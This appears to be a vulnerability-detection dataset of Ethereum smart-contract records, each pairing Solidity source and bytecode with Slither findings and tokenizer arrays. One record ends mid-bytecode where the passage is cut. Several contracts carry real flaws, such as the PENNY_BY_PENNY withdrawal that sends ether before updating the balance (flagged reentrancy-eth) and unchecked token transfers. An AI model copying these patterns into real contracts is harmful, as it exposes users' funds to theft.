d2b6022913960400191505060405180910390fd5b600084600001848154811061302057fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000808460010160008581526020019081526020016000205490506000811415839061310d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130d25780820151818401526020810190506130b7565b50505050905090810190601f1680156130ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061312057fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b613157838361362e565b61316460008484846131be565b6131b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613ba56032913960400191505060405180910390fd5b505050565b60006131df8473ffffffffffffffffffffffffffffffffffffffff16613822565b6131ec57600190506133cf565b606061335663150b7a0260e01b613201612793565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561328557808201518184015260208101905061326a565b50505050905090810190601f1680156132b25780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613ba5603291398773ffffffffffffffffffffffffffffffffffffffff166138359092919063ffffffff16565b9050600081806020019051602081101561336f57600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146134d6576000600182039050600060018660000180549050039050600086600001828154811061344557fe5b906000526020600020015490508087600001848154811061346257fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061349a57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506134dc565b60009150505b92915050565b60006134ee838361384d565b61354757826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061354c565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156135f957846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050613627565b8285600001600183038154811061360c57fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6136da81612776565b1561374d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b61375960008383612ebc565b6137aa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612edb90919063ffffffff16565b506137c181836002612ef59092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b60606138448484600085613870565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b6060824710156138cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613c4e6026913960400191505060405180910390fd5b6138d485613822565b613946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106139965780518252602082019150602081019050602083039250613973565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146139f8576040519150601f19603f3d011682016040523d82523d6000602084013e6139fd565b606091505b5091509150613a0d828286613a19565b92505050949350505050565b60608315613a2957829050613ade565b600083511115613a3c5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613aa3578082015181840152602081019050613a88565b50505050905090810190601f168015613ad05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613b2657805160ff1916838001178555613b54565b82800160010185558215613b54579182015b82811115613b53578251825591602001919060010190613b38565b5b509050613b619190613b65565b5090565b5b80821115613b7e576000816000905550600101613b66565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345786365656473206d6178696d756d20746f6b656e7320617661696c61626c6520666f722070757263686173654552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e6473536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656445786365656473206d6178696d756d20746f6b656e7320796f752063616e20707572636861736520696e20612073696e676c65207472616e73616374696f6ea26469706673582212204978d47eb72825929cfc3c5ea80c6317ddba9b73a0f1a9e5e2c8b32c6cf581b764736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2098, 2620, 2487, 2278, 2581, 2546, 22932, 2692, 2575, 12879, 2546, 19481, 2683, 2063, 22907, 29292, 2546, 2575, 16703, 2629, 16409, 2509, 2278, 2683, 2063, 2692, 20958, 2497, 2094, 1013, 1013, 3206, 2241, 2006, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 2330, 4371, 27877, 2378, 1012, 4012, 1013, 8311, 1013, 1017, 1012, 1060, 1013, 9413, 2278, 2581, 17465, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,521
0x96EDBe868531BD23a6C05e9d0C424ea64fb1B78B
pragma solidity ^0.4.19; contract PENNY_BY_PENNY { struct Holder { uint unlockTime; uint balance; } mapping (address => Holder) public Acc; uint public MinSum; LogFile Log; bool intitalized; function SetMinSum(uint _val) public { if(intitalized)throw; MinSum = _val; } function SetLogFile(address _log) public { if(intitalized)throw; Log = LogFile(_log); } function Initialized() public { intitalized = true; } function Put(uint _lockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; if(now+_lockTime>acc.unlockTime)acc.unlockTime=now+_lockTime; Log.AddMessage(msg.sender,msg.value,"Put"); } function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; Log.AddMessage(msg.sender,_am,"Collect"); } } } function() public payable { Put(0); } } contract LogFile { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
0x6060604052600436106100695763ffffffff60e060020a600035041663303b937981146100755780633fe43822146100945780635daa87a01461009f578063640d3017146100b257806365f3c31a146100c85780637731cd2a146100d3578063c2808d1a1461010a575b610073600061012f565b005b341561008057600080fd5b610073600160a060020a0360043516610204565b61007360043561025b565b34156100aa57600080fd5b61007361035f565b34156100bd57600080fd5b610073600435610396565b61007360043561012f565b34156100de57600080fd5b6100f2600160a060020a03600435166103c3565b60405191825260208201526040908101905180910390f35b341561011557600080fd5b61011d6103dc565b60405190815260200160405180910390f35b600160a060020a033316600090815260208190526040902060018101805434019055805442830111156101625742820181555b600254600160a060020a0316634c2f04a4333460405160e060020a63ffffffff8516028152600160a060020a039092166004830152602482015260606044820152600360648201527f5075740000000000000000000000000000000000000000000000000000000000608482015260a401600060405180830381600087803b15156101ec57600080fd5b6102c65a03f115156101fd57600080fd5b5050505050565b60025474010000000000000000000000000000000000000000900460ff161561022c57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a033316600090815260208190526040902060018054908201541080159061028d575081816001015410155b80156102995750805442115b1561035b5733600160a060020a03168260405160006040518083038185876187965a03f1925050501561035b576001810180548390039055600254600160a060020a0316634c2f04a4338460405160e060020a63ffffffff8516028152600160a060020a039092166004830152602482015260606044820152600760648201527f436f6c6c65637400000000000000000000000000000000000000000000000000608482015260a401600060405180830381600087803b15156101ec57600080fd5b5050565b6002805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60025474010000000000000000000000000000000000000000900460ff16156103be57600080fd5b600155565b6000602081905290815260409020805460019091015482565b600154815600a165627a7a7230582010eea6f607efbd1b050d274c24dc5babef5366c6bd1f8eba351291db63c0ad1d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2098, 4783, 20842, 27531, 21486, 2497, 2094, 21926, 2050, 2575, 2278, 2692, 2629, 2063, 2683, 2094, 2692, 2278, 20958, 2549, 5243, 21084, 26337, 2487, 2497, 2581, 2620, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 10647, 1035, 2011, 1035, 10647, 1063, 2358, 6820, 6593, 9111, 1063, 21318, 3372, 19829, 7292, 1025, 21318, 3372, 5703, 1025, 1065, 12375, 1006, 4769, 1027, 1028, 9111, 1007, 2270, 16222, 1025, 21318, 3372, 2270, 8117, 17421, 1025, 8833, 8873, 2571, 8833, 1025, 22017, 2140, 20014, 18400, 3550, 1025, 3853, 2275, 21266, 2819, 1006, 21318, 3372, 1035, 11748, 1007, 2270, 1063, 2065, 1006, 20014, 18400, 3550, 1007, 5466, 1025, 8117, 17421, 1027, 1035, 11748, 1025, 1065, 3853, 2275, 21197, 8873, 2571, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,522
0x96ee3687adffbbec3e64ce09533b72c719dd34ff
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28684800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x0E9b9B2b5AaA5630EA7b44B8a6b548059Aa6a20D; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058200e2b5ec2bd899ba199366b5a5339edbc581453764f24ccc80ec8025a65f81efe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 4402, 21619, 2620, 2581, 4215, 4246, 19473, 2278, 2509, 2063, 21084, 3401, 2692, 2683, 22275, 2509, 2497, 2581, 2475, 2278, 2581, 16147, 14141, 22022, 4246, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,523
0x96Ee9B27f822D71aE9cbF06773A878b41308C396
pragma solidity ^0.4.21; contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract Token is SafeMath { function transfer(address _to, uint256 _value) public; function transferFrom(address _from, address _to, uint256 _value) public returns(bool); function approve(address _spender, uint256 _amount) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Crowdsale is Token { // Public and other variables of the token address public owner; string public name = "crowdsalenetworkplatform"; string public symbol = "CSNP"; uint8 public decimals = 18; uint256 public totalSupply = 50000000 * 10 ** uint256(decimals); address internal foundersAddress; address internal bonusAddress; uint internal dayStart = now; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function Crowdsale(address enterFoundersAddress, address enterBonusAddress) public { foundersAddress = enterFoundersAddress; bonusAddress = enterBonusAddress; balanceOf[foundersAddress] = 12500000 * 10 ** uint256(decimals); balanceOf[bonusAddress] = 18750000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply - (12500000 * 10 ** uint256(decimals)) - (18750000 * 10 ** uint256(decimals)); owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Subtract from the sender balanceOf[_from] = safeSub(balanceOf[_from],_value); // Add the same to the recipient balanceOf[_to] = safeAdd(balanceOf[_to],_value); emit Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { if(now < (dayStart + 365 days)){ require(msg.sender != foundersAddress && tx.origin != foundersAddress); } if(now < (dayStart + 180 days)){ require(msg.sender != bonusAddress && tx.origin != bonusAddress); } _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowance[_from][msg.sender]); // Check allowance if(now < (dayStart + 365 days)){ require(_from != foundersAddress); } if(now < (dayStart + 180 days)){ require(_from != bonusAddress); } allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * also, to minimize the risk of the approve/transferFrom attack vector * approve has to be called twice in 2 separate transactions - once to * change the allowance to 0 and secondly to change it to the new allowance * value * * @param _spender approved address * @param _amount allowance amount * * @return true if the approval was successful */ function approve(address _spender, uint256 _amount) public returns(bool success) { require((_amount == 0) || (allowance[msg.sender][_spender] == 0)); if(now < (dayStart + 365 days)){ require(msg.sender != foundersAddress && tx.origin != foundersAddress); } if(now < (dayStart + 180 days)){ require(msg.sender != bonusAddress && tx.origin != bonusAddress); } allowance[msg.sender][_spender] = _amount; return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce5671461025957806370a082311461028a5780638da5cb5b146102e157806395d89b4114610338578063a9059cbb146103c8578063dd62ed3e14610415578063f2fde38b1461048c575b600080fd5b3480156100c057600080fd5b506100c96104cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061056d565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be61081e565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610824565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a2c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3f565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b506102f6610a57565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034457600080fd5b5061034d610a7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b50610413600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1a565b005b34801561042157600080fd5b50610476600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb8565b6040518082815260200191505060405180910390f35b34801561049857600080fd5b506104cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cdd565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105655780601f1061053a57610100808354040283529160200191610565565b820191906000526020600020905b81548152906001019060200180831161054857829003601f168201915b505050505081565b6000808214806105f957506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561060457600080fd5b6301e13380600754014210156106cc57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156106c05750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b15156106cb57600080fd5b5b62ed4e006007540142101561079357600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156107875750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b151561079257600080fd5b5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108b157600080fd5b6301e133806007540142101561091f57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561091e57600080fd5b5b62ed4e006007540142101561098c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156